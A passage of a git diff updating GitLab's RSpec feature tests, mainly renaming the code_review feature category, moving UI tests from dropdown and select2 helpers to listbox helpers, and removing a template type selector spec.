@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Project Merge Requests RSS', feature_category: :code_review do
+RSpec.describe 'Project Merge Requests RSS', feature_category: :code_review_workflow do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group) }
let_it_be(:project) { create(:project, :repository, group: group, visibility_level: Gitlab::VisibilityLevel::PUBLIC) }
diff --git a/spec/features/merge_requests/user_exports_as_csv_spec.rb b/spec/features/merge_requests/user_exports_as_csv_spec.rb
index aedd7ef4d79..23ac1b264ad 100644
--- a/spec/features/merge_requests/user_exports_as_csv_spec.rb
+++ b/spec/features/merge_requests/user_exports_as_csv_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge Requests > Exports as CSV', :js, feature_category: :code_review do
+RSpec.describe 'Merge Requests > Exports as CSV', :js, feature_category: :code_review_workflow do
let!(:project) { create(:project, :public, :repository) }
let!(:user) { project.creator }
let!(:open_mr) { create(:merge_request, title: 'Bugfix1', source_project: project, target_project: project, source_branch: 'bugfix1') }
diff --git a/spec/features/merge_requests/user_filters_by_approvals_spec.rb b/spec/features/merge_requests/user_filters_by_approvals_spec.rb
index 56c8a65385c..f2748c2549f 100644
--- a/spec/features/merge_requests/user_filters_by_approvals_spec.rb
+++ b/spec/features/merge_requests/user_filters_by_approvals_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge Requests > User filters', :js, feature_category: :code_review do
+RSpec.describe 'Merge Requests > User filters', :js, feature_category: :code_review_workflow do
include FilteredSearchHelpers
let_it_be(:project) { create(:project, :public, :repository) }
diff --git a/spec/features/merge_requests/user_filters_by_assignees_spec.rb b/spec/features/merge_requests/user_filters_by_assignees_spec.rb
index 818cf6f076f..22e38679c0f 100644
--- a/spec/features/merge_requests/user_filters_by_assignees_spec.rb
+++ b/spec/features/merge_requests/user_filters_by_assignees_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge Requests > User filters by assignees', :js, feature_category: :code_review do
+RSpec.describe 'Merge Requests > User filters by assignees', :js, feature_category: :code_review_workflow do
include FilteredSearchHelpers
let(:project) { create(:project, :public, :repository) }
diff --git a/spec/features/merge_requests/user_filters_by_deployments_spec.rb b/spec/features/merge_requests/user_filters_by_deployments_spec.rb
index 5f7d2fa9f9a..06997806a74 100644
--- a/spec/features/merge_requests/user_filters_by_deployments_spec.rb
+++ b/spec/features/merge_requests/user_filters_by_deployments_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge Requests > User filters by deployments', :js, feature_category: :code_review do
+RSpec.describe 'Merge Requests > User filters by deployments', :js, feature_category: :code_review_workflow do
include FilteredSearchHelpers
let!(:project) { create(:project, :public, :repository) }
diff --git a/spec/features/merge_requests/user_filters_by_draft_spec.rb b/spec/features/merge_requests/user_filters_by_draft_spec.rb
index d50d7edaefb..2b6a2062893 100644
--- a/spec/features/merge_requests/user_filters_by_draft_spec.rb
+++ b/spec/features/merge_requests/user_filters_by_draft_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge Requests > User filters by draft', :js, feature_category: :code_review do
+RSpec.describe 'Merge Requests > User filters by draft', :js, feature_category: :code_review_workflow do
include FilteredSearchHelpers
let(:project) { create(:project, :public, :repository) }
diff --git a/spec/features/merge_requests/user_filters_by_labels_spec.rb b/spec/features/merge_requests/user_filters_by_labels_spec.rb
index 030eb1b6431..84d75eb221e 100644
--- a/spec/features/merge_requests/user_filters_by_labels_spec.rb
+++ b/spec/features/merge_requests/user_filters_by_labels_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge Requests > User filters by labels', :js, feature_category: :code_review do
+RSpec.describe 'Merge Requests > User filters by labels', :js, feature_category: :code_review_workflow do
include FilteredSearchHelpers
let(:project) { create(:project, :public, :repository) }
diff --git a/spec/features/merge_requests/user_filters_by_milestones_spec.rb b/spec/features/merge_requests/user_filters_by_milestones_spec.rb
index abdb6c7787b..75bbc3a14a8 100644
--- a/spec/features/merge_requests/user_filters_by_milestones_spec.rb
+++ b/spec/features/merge_requests/user_filters_by_milestones_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge Requests > User filters by milestones', :js, feature_category: :code_review do
+RSpec.describe 'Merge Requests > User filters by milestones', :js, feature_category: :code_review_workflow do
include FilteredSearchHelpers
let(:project) { create(:project, :public, :repository) }
diff --git a/spec/features/merge_requests/user_filters_by_multiple_criteria_spec.rb b/spec/features/merge_requests/user_filters_by_multiple_criteria_spec.rb
index ae171f47ec3..9f10533bb72 100644
--- a/spec/features/merge_requests/user_filters_by_multiple_criteria_spec.rb
+++ b/spec/features/merge_requests/user_filters_by_multiple_criteria_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge requests > User filters by multiple criteria', :js, feature_category: :code_review do
+RSpec.describe 'Merge requests > User filters by multiple criteria', :js, feature_category: :code_review_workflow do
include FilteredSearchHelpers
let!(:project) { create(:project, :public, :repository) }
diff --git a/spec/features/merge_requests/user_filters_by_target_branch_spec.rb b/spec/features/merge_requests/user_filters_by_target_branch_spec.rb
index e0755695f5c..cc30c274b51 100644
--- a/spec/features/merge_requests/user_filters_by_target_branch_spec.rb
+++ b/spec/features/merge_requests/user_filters_by_target_branch_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge Requests > User filters by target branch', :js, feature_category: :code_review do
+RSpec.describe 'Merge Requests > User filters by target branch', :js, feature_category: :code_review_workflow do
include FilteredSearchHelpers
let!(:project) { create(:project, :public, :repository) }
diff --git a/spec/features/merge_requests/user_lists_merge_requests_spec.rb b/spec/features/merge_requests/user_lists_merge_requests_spec.rb
index d9c3bcda0d3..3171ae89fe6 100644
--- a/spec/features/merge_requests/user_lists_merge_requests_spec.rb
+++ b/spec/features/merge_requests/user_lists_merge_requests_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge requests > User lists merge requests', feature_category: :code_review do
+RSpec.describe 'Merge requests > User lists merge requests', feature_category: :code_review_workflow do
include MergeRequestHelpers
include SortingHelper
diff --git a/spec/features/merge_requests/user_mass_updates_spec.rb b/spec/features/merge_requests/user_mass_updates_spec.rb
index 133017d5b25..5a9054ece48 100644
--- a/spec/features/merge_requests/user_mass_updates_spec.rb
+++ b/spec/features/merge_requests/user_mass_updates_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge requests > User mass updates', :js, feature_category: :code_review do
+RSpec.describe 'Merge requests > User mass updates', :js, feature_category: :code_review_workflow do
let(:project) { create(:project, :repository) }
let(:user) { project.creator }
let(:user2) { create(:user) }
diff --git a/spec/features/merge_requests/user_sees_empty_state_spec.rb b/spec/features/merge_requests/user_sees_empty_state_spec.rb
index a50ea300249..f5803a47b2c 100644
--- a/spec/features/merge_requests/user_sees_empty_state_spec.rb
+++ b/spec/features/merge_requests/user_sees_empty_state_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User sees empty state', feature_category: :code_review do
+RSpec.describe 'Merge request > User sees empty state', feature_category: :code_review_workflow do
include ProjectForksHelper
let(:project) { create(:project, :public, :repository) }
diff --git a/spec/features/merge_requests/user_sorts_merge_requests_spec.rb b/spec/features/merge_requests/user_sorts_merge_requests_spec.rb
index d268cfc59f3..cf99f2cb94a 100644
--- a/spec/features/merge_requests/user_sorts_merge_requests_spec.rb
+++ b/spec/features/merge_requests/user_sorts_merge_requests_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User sorts merge requests', :js, feature_category: :code_review do
+RSpec.describe 'User sorts merge requests', :js, feature_category: :code_review_workflow do
include CookieHelper
include Spec::Support::Helpers::Features::SortingHelpers
diff --git a/spec/features/merge_requests/user_views_all_merge_requests_spec.rb b/spec/features/merge_requests/user_views_all_merge_requests_spec.rb
index b55e4bd153f..c2eb43d7476 100644
--- a/spec/features/merge_requests/user_views_all_merge_requests_spec.rb
+++ b/spec/features/merge_requests/user_views_all_merge_requests_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User views all merge requests', feature_category: :code_review do
+RSpec.describe 'User views all merge requests', feature_category: :code_review_workflow do
let!(:closed_merge_request) { create(:closed_merge_request, source_project: project, target_project: project) }
let!(:merge_request) { create(:merge_request, source_project: project, target_project: project) }
let(:project) { create(:project, :public) }
diff --git a/spec/features/merge_requests/user_views_closed_merge_requests_spec.rb b/spec/features/merge_requests/user_views_closed_merge_requests_spec.rb
index 4c2598dcc9c..175e6bacba5 100644
--- a/spec/features/merge_requests/user_views_closed_merge_requests_spec.rb
+++ b/spec/features/merge_requests/user_views_closed_merge_requests_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User views closed merge requests', feature_category: :code_review do
+RSpec.describe 'User views closed merge requests', feature_category: :code_review_workflow do
let!(:closed_merge_request) { create(:closed_merge_request, source_project: project, target_project: project) }
let!(:merge_request) { create(:merge_request, source_project: project, target_project: project) }
let(:project) { create(:project, :public) }
diff --git a/spec/features/merge_requests/user_views_merged_merge_requests_spec.rb b/spec/features/merge_requests/user_views_merged_merge_requests_spec.rb
index 2526f1a855b..54b11c1ee1e 100644
--- a/spec/features/merge_requests/user_views_merged_merge_requests_spec.rb
+++ b/spec/features/merge_requests/user_views_merged_merge_requests_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User views merged merge requests', feature_category: :code_review do
+RSpec.describe 'User views merged merge requests', feature_category: :code_review_workflow do
let!(:merge_request) { create(:merge_request, source_project: project, target_project: project) }
let!(:merged_merge_request) { create(:merged_merge_request, source_project: project, target_project: project) }
let(:project) { create(:project, :public) }
diff --git a/spec/features/merge_requests/user_views_open_merge_requests_spec.rb b/spec/features/merge_requests/user_views_open_merge_requests_spec.rb
index 3c53bc5e283..1a2024a5511 100644
--- a/spec/features/merge_requests/user_views_open_merge_requests_spec.rb
+++ b/spec/features/merge_requests/user_views_open_merge_requests_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User views open merge requests', feature_category: :code_review do
+RSpec.describe 'User views open merge requests', feature_category: :code_review_workflow do
let_it_be(:user) { create(:user) }
shared_examples_for 'shows merge requests' do
diff --git a/spec/features/milestone_spec.rb b/spec/features/milestone_spec.rb
index 50cd6b9e801..61098a8f2cd 100644
--- a/spec/features/milestone_spec.rb
+++ b/spec/features/milestone_spec.rb
@@ -128,8 +128,8 @@ RSpec.describe 'Milestone', feature_category: :team_planning do
click_link 'Reopen Milestone'
- expect(page).not_to have_selector('.gl-bg-red-500')
- expect(page).to have_selector('.gl-bg-green-500')
+ expect(page).not_to have_selector('.badge-danger')
+ expect(page).to have_selector('.badge-success')
end
end
@@ -139,8 +139,8 @@ RSpec.describe 'Milestone', feature_category: :team_planning do
click_link 'Reopen Milestone'
- expect(page).not_to have_selector('.gl-bg-red-500')
- expect(page).to have_selector('.gl-bg-green-500')
+ expect(page).not_to have_selector('.badge-danger')
+ expect(page).to have_selector('.badge-success')
end
end
end
diff --git a/spec/features/nav/new_nav_toggle_spec.rb b/spec/features/nav/new_nav_toggle_spec.rb
index f040d801cfb..8e5cc7df053 100644
--- a/spec/features/nav/new_nav_toggle_spec.rb
+++ b/spec/features/nav/new_nav_toggle_spec.rb
@@ -48,14 +48,19 @@ RSpec.describe 'new navigation toggle', :js, feature_category: :navigation do
expect(user.reload.use_new_navigation).to eq true
end
+
+ it 'shows the old navigation' do
+ expect(page).to have_selector('.js-navbar')
+ expect(page).not_to have_selector('[data-testid="super-sidebar"]')
+ end
end
context 'when user has new nav enabled' do
let(:user_preference) { true }
it 'allows to disable new nav', :aggregate_failures do
- within '.js-nav-user-dropdown' do
- find('a[data-toggle="dropdown"]').click
+ within '[data-testid="super-sidebar"] [data-testid="user-dropdown"]' do
+ find('button').click
expect(page).to have_content('Navigation redesign')
toggle = page.find('.gl-toggle.is-checked')
@@ -66,6 +71,11 @@ RSpec.describe 'new navigation toggle', :js, feature_category: :navigation do
expect(user.reload.use_new_navigation).to eq false
end
+
+ it 'shows the new navigation' do
+ expect(page).not_to have_selector('.js-navbar')
+ expect(page).to have_selector('[data-testid="super-sidebar"]')
+ end
end
end
end
diff --git a/spec/features/oauth_registration_spec.rb b/spec/features/oauth_registration_spec.rb
index 48996164bd3..6e1445a9ed6 100644
--- a/spec/features/oauth_registration_spec.rb
+++ b/spec/features/oauth_registration_spec.rb
@@ -32,7 +32,6 @@ RSpec.describe 'OAuth Registration', :js, :allow_forgery_protection, feature_cat
with_them do
before do
stub_omniauth_provider(provider)
- stub_feature_flags(update_oauth_registration_flow: true)
end
context 'when block_auto_created_users is true' do
@@ -120,22 +119,6 @@ RSpec.describe 'OAuth Registration', :js, :allow_forgery_protection, feature_cat
end
end
- context 'when update_oauth_registration_flow is disabled' do
- before do
- stub_omniauth_provider(:github)
- stub_omniauth_setting(block_auto_created_users: false)
- stub_feature_flags(update_oauth_registration_flow: false)
-
- enforce_terms
- end
-
- it 'presents the terms page' do
- register_via(:github, uid, email)
-
- expect(page).to have_content('These are the terms')
- end
- end
-
def fill_in_welcome_form
select 'Software Developer', from: 'user_role'
click_button 'Get started!'
diff --git a/spec/features/profiles/chat_names_spec.rb b/spec/features/profiles/chat_names_spec.rb
index b3d65ab3a3c..14fdb8ba56f 100644
--- a/spec/features/profiles/chat_names_spec.rb
+++ b/spec/features/profiles/chat_names_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe 'Profile > Chat', feature_category: :users do
{ team_id: 'T00', team_domain: 'my_chat_team', user_id: 'U01', user_name: 'my_chat_user' }
end
- let!(:authorize_url) { ChatNames::AuthorizeUserService.new(integration, params).execute }
+ let!(:authorize_url) { ChatNames::AuthorizeUserService.new(params).execute }
let(:authorize_path) { URI.parse(authorize_url).request_uri }
before do
diff --git a/spec/features/profiles/user_visits_profile_preferences_page_spec.rb b/spec/features/profiles/user_visits_profile_preferences_page_spec.rb
index 9eee1b85e5e..e3940973c46 100644
--- a/spec/features/profiles/user_visits_profile_preferences_page_spec.rb
+++ b/spec/features/profiles/user_visits_profile_preferences_page_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe 'User visits the profile preferences page', :js, feature_category: :users do
- include Select2Helper
+ include ListboxHelpers
let(:user) { create(:user) }
@@ -30,7 +30,7 @@ RSpec.describe 'User visits the profile preferences page', :js, feature_category
describe 'User changes their default dashboard', :js do
it 'creates a flash message' do
- select2('stars', from: '#user_dashboard')
+ select_from_listbox 'Starred Projects', from: 'Your Projects', exact_item_text: true
click_button 'Save changes'
wait_for_requests
@@ -39,7 +39,7 @@ RSpec.describe 'User visits the profile preferences page', :js, feature_category
end
it 'updates their preference' do
- select2('stars', from: '#user_dashboard')
+ select_from_listbox 'Starred Projects', from: 'Your Projects', exact_item_text: true
click_button 'Save changes'
wait_for_requests
@@ -58,7 +58,7 @@ RSpec.describe 'User visits the profile preferences page', :js, feature_category
describe 'User changes their language', :js do
it 'creates a flash message', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/31404' do
- select2('en', from: '#user_preferred_language')
+ select_from_listbox 'English', from: 'English'
click_button 'Save changes'
wait_for_requests
@@ -68,7 +68,7 @@ RSpec.describe 'User visits the profile preferences page', :js, feature_category
it 'updates their preference' do
wait_for_requests
- select2('pt_BR', from: '#user_preferred_language')
+ select_from_listbox 'Portuguese', from: 'English'
click_button 'Save changes'
wait_for_requests
diff --git a/spec/features/project_variables_spec.rb b/spec/features/project_variables_spec.rb
index d1258937ce6..1a951980141 100644
--- a/spec/features/project_variables_spec.rb
+++ b/spec/features/project_variables_spec.rb
@@ -24,8 +24,9 @@ RSpec.describe 'Project variables', :js, feature_category: :pipeline_authoring d
page.within('#add-ci-variable') do
fill_in 'Key', with: 'akey'
find('#ci-variable-value').set('akey_value')
- find('[data-testid="environment-scope"]').click
- find('[data-testid="ci-environment-search"]').set('review/*')
+
+ click_button('All (default)')
+ fill_in 'Search', with: 'review/*'
find('[data-testid="create-wildcard-button"]').click
click_button('Add variable')
diff --git a/spec/features/projects/blobs/user_follows_pipeline_suggest_nudge_spec.rb b/spec/features/projects/blobs/user_follows_pipeline_suggest_nudge_spec.rb
index a497be4cbc3..b723bd5690a 100644
--- a/spec/features/projects/blobs/user_follows_pipeline_suggest_nudge_spec.rb
+++ b/spec/features/projects/blobs/user_follows_pipeline_suggest_nudge_spec.rb
@@ -24,12 +24,6 @@ RSpec.describe 'User follows pipeline suggest nudge spec when feature is enabled
expect(file_name.value).to have_content('.gitlab-ci.yml')
end
- it 'chooses the .gitlab-ci.yml Template Type' do
- template_type = page.find(:css, '.template-type-selector .dropdown-toggle-text')
-
- expect(template_type.text).to have_content('.gitlab-ci.yml')
- end
-
it 'displays suggest_gitlab_ci_yml popover' do
page.find(:css, '.gitlab-ci-yml-selector').click
@@ -60,12 +54,6 @@ RSpec.describe 'User follows pipeline suggest nudge spec when feature is enabled
expect(file_name.value).not_to have_content('.gitlab-ci.yml')
end
- it 'does not choose the .gitlab-ci.yml Template Type' do
- template_type = page.find(:css, '.template-type-selector .dropdown-toggle-text')
-
- expect(template_type.text).to have_content('Select a template type')
- end
-
it 'does not display suggest_gitlab_ci_yml popover' do
popover_selector = '.b-popover.suggest-gitlab-ci-yml'
diff --git a/spec/features/projects/commit/cherry_pick_spec.rb b/spec/features/projects/commit/cherry_pick_spec.rb
index dc8b84283a1..4b9b692b652 100644
--- a/spec/features/projects/commit/cherry_pick_spec.rb
+++ b/spec/features/projects/commit/cherry_pick_spec.rb
@@ -78,9 +78,9 @@ RSpec.describe 'Cherry-pick Commits', :js, feature_category: :source_code_manage
end
page.within("#{modal_selector} .dropdown-menu") do
- find('[data-testid="dropdown-search-box"]').set('feature')
+ fill_in 'Search branches', with: 'feature'
wait_for_requests
- click_button 'feature'
+ find('.gl-dropdown-item-text-wrapper', exact_text: 'feature').click
end
submit_cherry_pick
diff --git a/spec/features/projects/diffs/diff_show_spec.rb b/spec/features/projects/diffs/diff_show_spec.rb
index 973c61de31d..eb700e10141 100644
--- a/spec/features/projects/diffs/diff_show_spec.rb
+++ b/spec/features/projects/diffs/diff_show_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Diff file viewer', :js, :with_clean_rails_cache, feature_category: :code_review do
+RSpec.describe 'Diff file viewer', :js, :with_clean_rails_cache, feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
def visit_commit(sha, anchor: nil)
diff --git a/spec/features/projects/environments/environment_spec.rb b/spec/features/projects/environments/environment_spec.rb
index 75913082803..91401d19fd1 100644
--- a/spec/features/projects/environments/environment_spec.rb
+++ b/spec/features/projects/environments/environment_spec.rb
@@ -52,6 +52,16 @@ RSpec.describe 'Environment', feature_category: :projects do
end
end
+ context 'without deployments' do
+ before do
+ visit_environment(environment)
+ end
+
+ it 'does not show deployments', :js do
+ expect(page).to have_content('You don\'t have any deployments right now.')
+ end
+ end
+
context 'with deployments' do
before do
visit_environment(environment)
diff --git a/spec/features/projects/files/template_type_dropdown_spec.rb b/spec/features/projects/files/template_type_dropdown_spec.rb
deleted file mode 100644
index 990b118d172..00000000000
--- a/spec/features/projects/files/template_type_dropdown_spec.rb
+++ /dev/null
@@ -1,143 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'Projects > Files > Template type dropdown selector', :js, feature_category: :projects do
- let(:project) { create(:project, :repository) }
- let(:user) { project.first_owner }
-
- before do
- sign_in user
- end
-
- context 'editing a non-matching file' do
- before do
- create_and_edit_file('.random-file.js')
- end
-
- it 'not displayed' do
- check_type_selector_display(false)
- end
-
- it 'selects every template type correctly' do
- fill_in 'file_path', with: '.gitignore'
- try_selecting_all_types
- end
-
- it 'updates template type toggle value when template is chosen' do
- fill_in 'file_path', with: '.gitignore'
- select_template('gitignore', 'Actionscript')
- check_type_selector_toggle_text('.gitignore')
- end
- end
-
- context 'editing a matching file' do
- before do
- visit project_edit_blob_path(project, File.join(project.default_branch, 'LICENSE'))
- end
-
- it 'displayed' do
- check_type_selector_display(true)
- end
-
- it 'selects every template type correctly' do
- try_selecting_all_types
- end
-
- context 'user previews changes' do
- before do
- click_link 'Preview changes'
- end
-
- it 'type selector is hidden and shown correctly' do
- check_type_selector_display(false)
- click_link 'Write'
- check_type_selector_display(true)
- end
- end
- end
-
- context 'creating a matching file' do
- before do
- visit project_new_blob_path(project, 'master', file_name: '.gitignore')
- end
-
- it 'is displayed' do
- check_type_selector_display(true)
- end
-
- it 'toggle is set to the correct value' do
- select_template('gitignore', 'Actionscript')
- check_type_selector_toggle_text('.gitignore')
- end
-
- it 'sets the toggle text when selecting the template type' do
- select_template_type('.gitignore')
- check_type_selector_toggle_text('.gitignore')
- end
-
- it 'selects every template type correctly' do
- try_selecting_all_types
- end
- end
-
- context 'creating a file' do
- before do
- visit project_new_blob_path(project, project.default_branch)
- end
-
- it 'type selector is shown' do
- check_type_selector_display(true)
- end
-
- it 'toggle is set to the proper value' do
- check_type_selector_toggle_text('Select a template type')
- end
-
- it 'selects every template type correctly' do
- try_selecting_all_types
- end
- end
-end
-
-def check_type_selector_display(is_visible)
- count = is_visible ? 1 : 0
- expect(page).to have_css('.js-template-type-selector', count: count)
-end
-
-def try_selecting_all_types
- try_selecting_template_type('LICENSE', 'Apply a template')
- try_selecting_template_type('Dockerfile', 'Apply a template')
- try_selecting_template_type('.gitlab-ci.yml', 'Apply a template')
- try_selecting_template_type('.gitignore', 'Apply a template')
-end
-
-def try_selecting_template_type(template_type, selector_label)
- select_template_type(template_type)
- check_template_selector_display(selector_label)
-end
-
-def select_template_type(template_type)
- find('.js-template-type-selector').click
- find('.dropdown-content li', text: template_type).click
-end
-
-def select_template(type, template)
- find(".js-#{type}-selector-wrap").click
- find('.dropdown-content li', text: template).click
-end
-
-def check_template_selector_display(content)
- expect(page).to have_content(content)
-end
-
-def check_type_selector_toggle_text(template_type)
- dropdown_toggle_button = find('.template-type-selector .dropdown-toggle-text')
- expect(dropdown_toggle_button).to have_content(template_type)
-end
-
-def create_and_edit_file(file_name)
- visit project_new_blob_path(project, 'master', file_name: file_name)
- click_button "Commit changes"
- visit project_edit_blob_path(project, File.join(project.default_branch, file_name))
-end
diff --git a/spec/features/projects/files/undo_template_spec.rb b/spec/features/projects/files/undo_template_spec.rb
index afc9a5fd232..0dfed209ce9 100644
--- a/spec/features/projects/files/undo_template_spec.rb
+++ b/spec/features/projects/files/undo_template_spec.rb
@@ -13,19 +13,6 @@ RSpec.describe 'Projects > Files > Template Undo Button', :js, feature_category:
context 'editing a matching file and applying a template' do
before do
visit project_edit_blob_path(project, File.join(project.default_branch, "LICENSE"))
- select_file_template_type('LICENSE')
- select_file_template('.js-license-selector', 'Apache License 2.0')
- end
-
- it 'reverts template application' do
- try_template_undo('http://www.apache.org/licenses/', 'Apply a template')
- end
- end
-
- context 'creating a non-matching file' do
- before do
- visit project_new_blob_path(project, 'master')
- select_file_template_type('LICENSE')
select_file_template('.js-license-selector', 'Apache License 2.0')
end
@@ -53,7 +40,6 @@ end
def check_content_reverted(template_content)
find('.b-toaster a', text: 'Undo').click
expect(page).not_to have_content(template_content)
- expect(page).to have_css('.template-type-selector .dropdown-toggle-text')
end
def select_file_template(template_selector_selector, template_name)
@@ -61,8 +47,3 @@ def select_file_template(template_selector_selector, template_name)
find('.dropdown-content li', text: template_name).click
wait_for_requests
end
-
-def select_file_template_type(template_type)
- find('.js-template-type-selector').click
- find('.dropdown-content li', text: template_type).click
-end
diff --git a/spec/features/projects/fork_spec.rb b/spec/features/projects/fork_spec.rb
index 3867f7fd086..8b484141a95 100644
--- a/spec/features/projects/fork_spec.rb
+++ b/spec/features/projects/fork_spec.rb
@@ -3,6 +3,7 @@
require 'spec_helper'
RSpec.describe 'Project fork', feature_category: :projects do
+ include ListboxHelpers
include ProjectForksHelper
let(:user) { create(:user) }
@@ -137,10 +138,9 @@ RSpec.describe 'Project fork', feature_category: :projects do
let(:user) { create(:group_member, :maintainer, user: create(:user), group: group).user }
def submit_form(group_obj = group)
- find('[data-testid="select_namespace_dropdown"]').click
- find('[data-testid="select_namespace_dropdown_search_field"]').fill_in(with: group_obj.name)
- click_button group_obj.name
-
+ click_button(s_('ForkProject|Select a namespace'))
+ send_keys group_obj.name
+ select_listbox_item(group_obj.name)
click_button 'Fork project'
end
@@ -151,6 +151,13 @@ RSpec.describe 'Project fork', feature_category: :projects do
expect(page).to have_content 'Forked from'
end
+ it 'redirects to the source project when cancel is clicked' do
+ visit new_project_fork_path(project)
+ click_on 'Cancel'
+
+ expect(page).to have_current_path(project_path(project))
+ end
+
it 'shows the new forked project on the forks page' do
visit new_project_fork_path(project)
submit_form
diff --git a/spec/features/projects/import_export/export_file_spec.rb b/spec/features/projects/import_export/export_file_spec.rb
index 8986ce91ae3..0230c9e835b 100644
--- a/spec/features/projects/import_export/export_file_spec.rb
+++ b/spec/features/projects/import_export/export_file_spec.rb
@@ -20,7 +20,9 @@ RSpec.describe 'Import/Export - project export integration test', :js, feature_c
}
end
- let(:safe_hashes) { { yaml_variables: %w[key value public] } }
+ let(:safe_hashes) do
+ { yaml_variables: %w[key value public] }
+ end
let(:project) { setup_project }
diff --git a/spec/features/projects/issues/design_management/user_uploads_designs_spec.rb b/spec/features/projects/issues/design_management/user_uploads_designs_spec.rb
index 858d6751afa..55aa6db23c7 100644
--- a/spec/features/projects/issues/design_management/user_uploads_designs_spec.rb
+++ b/spec/features/projects/issues/design_management/user_uploads_designs_spec.rb
@@ -18,7 +18,7 @@ RSpec.describe 'User uploads new design', :js, feature_category: :design_managem
context "when the feature is available" do
let(:feature_enabled) { true }
- it 'uploads designs' do
+ it 'uploads designs', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/358845' do
upload_design(logo_fixture, count: 1)
expect(page).to have_selector('.js-design-list-item', count: 1)
diff --git a/spec/features/projects/jobs_spec.rb b/spec/features/projects/jobs_spec.rb
index 557a20ff2d6..4734a607ef1 100644
--- a/spec/features/projects/jobs_spec.rb
+++ b/spec/features/projects/jobs_spec.rb
@@ -739,7 +739,12 @@ RSpec.describe 'Jobs', :clean_gitlab_redis_shared_state, feature_category: :proj
it 'shows manual action empty state', :js do
expect(page).to have_content(job.detailed_status(user).illustration[:title])
expect(page).to have_content('This job requires a manual action')
- expect(page).to have_content('This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes.')
+ expect(page).to have_content(
+ _(
+ 'This job does not start automatically and must be started manually. ' \
+ 'You can add CI/CD variables below for last-minute configuration changes before starting the job.'
+ )
+ )
expect(page).to have_button('Trigger this manual action')
end
@@ -772,7 +777,12 @@ RSpec.describe 'Jobs', :clean_gitlab_redis_shared_state, feature_category: :proj
wait_for_requests
expect(page).to have_content('This job requires a manual action')
- expect(page).to have_content('This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes.')
+ expect(page).to have_content(
+ _(
+ 'This job does not start automatically and must be started manually. ' \
+ 'You can add CI/CD variables below for last-minute configuration changes before starting the job.'
+ )
+ )
expect(page).to have_button('Trigger this manual action')
end
end
diff --git a/spec/features/projects/labels/sort_labels_spec.rb b/spec/features/projects/labels/sort_labels_spec.rb
index 378a575348e..74ce2f40df8 100644
--- a/spec/features/projects/labels/sort_labels_spec.rb
+++ b/spec/features/projects/labels/sort_labels_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe 'Sort labels', :js, feature_category: :team_planning do
+ include ListboxHelpers
+
let(:user) { create(:user) }
let(:project) { create(:project) }
let!(:label1) { create(:label, title: 'Foo', description: 'Lorem ipsum', project: project) }
@@ -28,16 +30,16 @@ RSpec.describe 'Sort labels', :js, feature_category: :team_planning do
it 'sorts by date' do
click_button 'Name'
- sort_options = find('ul[role="listbox"]').all('li').collect(&:text)
-
- expect(sort_options[0]).to eq('Name')
- expect(sort_options[1]).to eq('Name, descending')
- expect(sort_options[2]).to eq('Last created')
- expect(sort_options[3]).to eq('Oldest created')
- expect(sort_options[4]).to eq('Updated date')
- expect(sort_options[5]).to eq('Oldest updated')
+ expect_listbox_items([
+ 'Name',
+ 'Name, descending',
+ 'Last created',
+ 'Oldest created',
+ 'Updated date',
+ 'Oldest updated'
+ ])
- find('li', text: 'Name, descending').click
+ select_listbox_item('Name, descending')
# assert default sorting
within '.other-labels' do
diff --git a/spec/features/projects/members/manage_members_spec.rb b/spec/features/projects/members/manage_members_spec.rb
index 3ffa402dc2c..615ef1b03dd 100644
--- a/spec/features/projects/members/manage_members_spec.rb
+++ b/spec/features/projects/members/manage_members_spec.rb
@@ -139,17 +139,15 @@ RSpec.describe 'Projects > Members > Manage members', :js, feature_category: :on
it 'can only remove non-Owner members' do
page.within find_member_row(project_owner) do
- expect(page).not_to have_button('Remove member')
+ expect(page).not_to have_selector user_action_dropdown
end
- # Open modal
- page.within find_member_row(project_developer) do
- click_button 'Remove member'
- end
+ show_actions_for_username(project_developer)
+ click_button _('Remove member')
within_modal do
expect(page).to have_unchecked_field 'Also unassign this user from related issues and merge requests'
- click_button('Remove member')
+ click_button _('Remove member')
end
wait_for_requests
@@ -163,18 +161,12 @@ RSpec.describe 'Projects > Members > Manage members', :js, feature_category: :on
let(:current_user) { group_owner }
it 'can remove any direct member' do
- page.within find_member_row(project_owner) do
- expect(page).to have_button('Remove member')
- end
-
- # Open modal
- page.within find_member_row(project_owner) do
- click_button 'Remove member'
- end
+ show_actions_for_username(project_owner)
+ click_button _('Remove member')
within_modal do
